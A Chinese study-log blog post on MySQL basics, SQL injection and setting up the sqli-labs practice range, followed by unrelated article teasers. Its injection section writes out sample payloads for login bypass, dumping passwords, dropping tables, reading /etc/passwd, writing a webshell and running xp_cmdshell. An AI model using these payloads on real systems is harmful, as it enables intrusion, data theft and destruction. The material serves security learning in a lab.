news 2026/4/18 7:46:49

【Web第三周】『12.9-12.14』

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Web第三周】『12.9-12.14』

【Web第三周】『12.9-12.14』

1.初步了解数据库(MySQL) 2.初步了解sql注入漏洞 3.练习sql语句

4.搭建sql靶场,找不到的,靶场文件群文件有

1MySQL

  1. mysql:MySQL服务的客户端
  2. mysqld:MySQL服务的服务端

两者结合在一起才是MySQL,是一种网络服务。

MySQL是一套给我们通过数据存取服务的网络程序,而数据库一般指在磁盘或者内存中存储的特定结构的数据。数据库本质是对数据存储管理的一套解决方案。

---在 Ubuntu 上安装 MySQL 可使用如下命令:

1bash深色版本

2sudo apt update

3sudo apt install mysql-server

安装完成后,建议运行安全脚本加强数据库的安全性:

1bash深色版本

2sudo mysql_secure_installation

MySQL 的基本操作

  1. 启动与停止服务 bash深色版本

sudo systemctl start mysql sudo systemctl stop mysql sudo systemctl restart mysql

  1. 登录数据库 bash深色版本 mysql -u root -p 输入密码后即可进入 MySQL 命令行界面。
  2. 创建数据库与用户 sql深色版本

CREATE DATABASE mydb;

CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON mydb.* TO 'myuser'@'localhost';

FLUSH PRIVILEGES;

  1. 表结构设计示例 sql深色版本

USE mydb;

CREATE TABLE users (

id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL UNIQUE,

email VARCHAR(100),

created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP

);

  1. 插入与查询数据 sql深色版本

INSERT INTO users (username, email) VALUES ('john_doe', 'john@example.com'); SELECT * FROM users;

2、初步了解sql注入漏洞

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而操控后端数据库查询,获取、修改或删除数据库中的敏感数据。

基本原理

[SQL注入漏洞]产生的原因是应用程序将用户输入直接拼接到SQL查询语句中,而没有进行适当的过滤或参数化处理。当恶意输入被当作SQL代码执行时,就可能导致非预期的数据库操作。

sql的功能

  1. 数据泄露(绕过登录验证)具体操作:

-- 输入用户名: admin' --

-- 输入密码: (任意值)

-- 实际执行的SQL:

SELECT * FROM users WHERE username='admin' --' AND password='xxx' 效果:注释掉密码检查,直接以 admin 身份登录。

  1. 数据泄露(获取数据库内容)具体操作:

-- 正常查询:

SELECT title, content FROM articles WHERE id=1

-- 注入攻击:

1' UNION SELECT username, password FROM users -效果:返回 users 表中的账号密码数据。

  1. 数据篡改(修改数据库记录)具体操作:

-- 正常更新:

UPDATE profile SET bio='Hello' WHERE user_id=100

-- 注入攻击:

100'; UPDATE users SET password='hacked' WHERE username='admin' -效果:修改 admin 的密码为 hacked。

  1. 数据删除(清空数据库表)具体操作:

-- 正常删除:

DELETE FROM orders WHERE order_id=123

-- 注入攻击:

123'; DROP TABLE users --

效果:删除整个 users 表,导致数据丢失。

  1. 权限提升(创建管理员账户)具体操作:

-- 正常插入:

INSERT INTO customers (name, email) VALUES ('test', 'test@example.com')

-- 注入攻击:

test', 'test@example.com'); INSERT INTO admins (username, password) VALUES ('hacker', 'p@ssw0rd') -效果:在 admins 表中插入一个管理员账户。

  1. 服务器文件读取(获取敏感文件)具体操作(MySQL): -- 注入攻击:

1' UNION SELECT LOAD_FILE('/etc/passwd'), NULL --

效果:返回服务器的 /etc/passwd 文件内容(Linux用户信息)。

  1. 服务器文件写入(上传Webshell)具体操作(MySQL): -- 注入攻击:

1' UNION SELECT "", NULL INTO OUTFILE '/var/www/html/shell.php' -效果:在网站根目录写入 shell.php,攻击者可执行任意命令。

  1. 操作系统命令执行(控制服务器)具体操作(SQL Server): -- 注入攻击:

1'; EXEC xp_cmdshell 'net user hacker P@ssw0rd /add' -效果:在服务器上创建新用户 hacker,用于远程登录。

3sql练习

常见练习类型与示例条件查询

SELECT ENAME, SAL

FROM emp

WHERE SAL BETWEEN 1000 AND 2000;

字符串处理

SELECT CONCAT(UPPER(SUBSTRING(ENAME,1,1)), LOWER(SUBSTRING(ENAME,2))) AS name FROM emp;

日期函数应用

SELECT ENAME, HIREDATE, TIMESTAMPDIFF(YEAR, HIREDATE, NOW()) AS work_years FROM emp; 分组与聚合

SELECT DEPTNO, AVG(SAL) AS avg_sal

FROM emp

GROUP BY DEPTNO;

4、搭建sql靶场

1、将sql安装包压缩到D:/phpstudy_pro/WWW/

把这个安装包解压到phpstudy的网站根目录下,比如D:/phpstudy_pro/WWW/

2、修改数据库配置文件:

sqli-labs/sql-connections/db-creds.inc

注意phpstudy自带的数据库默认密码是root

数据库会自动创建,只要配置好用户名、密码、主机地址就可以。

改好以后保存。

3、打开phpstudy,添加网站。

这一步除了填写域名,其他的都不用改。

注意区分名字是下划线_还是横杠-。

注意:PHP版本必须是php7,因为这个代码是php7的版本

部署成功以后Apache会自动重启,访问地址(后面的路径就是输入的域名,跟文件路径一致):

http://localhost/sqli-labs

4、初始化数据库

点击 Setup/reset Database for labs

看见这个就成功了,数据库只需要初始化一次,以后都不需要再点击这个重置数据库(reset db)的链接,除非误删数据或者换了数据库地址。

6、开始玩耍

回到首页,从page1开始,就可以愉快地玩耍了。

点击链接可以进入对应的关卡。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 5:07:55

边缘智能的下一波浪潮:TinyML如何颠覆传统AI部署模式

边缘智能的下一波浪潮:TinyML如何颠覆传统AI部署模式 【免费下载链接】tinyml 项目地址: https://gitcode.com/gh_mirrors/ti/tinyml 在AI技术快速发展的今天,一个革命性的变革正在悄然发生——TinyML技术正将强大的机器学习能力带入微小的边缘设…

作者头像 李华
网站建设 2026/4/18 5:10:14

光伏混合储能系统碰上虚拟同步发电机(VSG),这个组合拳打出来到底什么效果?今天咱们用Simulink模型拆解这个混合系统的运作细节,手把手看看各模块怎么配合

光伏混合储能虚拟同步发电机VSG并网仿真模型 ①VSG控制 由有功频率环和无功调压环组成,其中有功频率环包括一次调频以及转子机械方程。 由有功环产生频率和相位,无功环产生电压幅值,然后组成三相参考电压。 并且加入虚拟阻抗环节。 ②光伏PV模…

作者头像 李华
网站建设 2026/4/18 5:10:17

COLMAP三维重建终极优化指南:5大矩阵运算技巧让计算速度翻倍

COLMAP三维重建终极优化指南:5大矩阵运算技巧让计算速度翻倍 【免费下载链接】colmap COLMAP - Structure-from-Motion and Multi-View Stereo 项目地址: https://gitcode.com/GitHub_Trending/co/colmap 你是否曾经在运行大规模三维重建项目时,看…

作者头像 李华
网站建设 2026/4/18 5:10:15

pytorch-CycleGAN-and-pix2pix学习

环境安装 使用CycleGAN训练自己制作的数据集,通俗教程,快速上手(详细图文教程)-CSDN博客 conda env remove --name pytorch-img2img conda activate pytorch-img2img 安装torch vision pip3 install torch torchvision torch…

作者头像 李华
网站建设 2026/4/18 6:24:19

Paramiko远程操作Linux服务器

在日常工作中我们经常会跟Linux打交道,对于测试同学来说,使用Linux的场景还是比较多的,比如:搭建测试环境、查看日志信息、修改配置文件、监控服务资源等。 本篇将介绍一个Python的第三方库Paramiko,使用Paramiko&…

作者头像 李华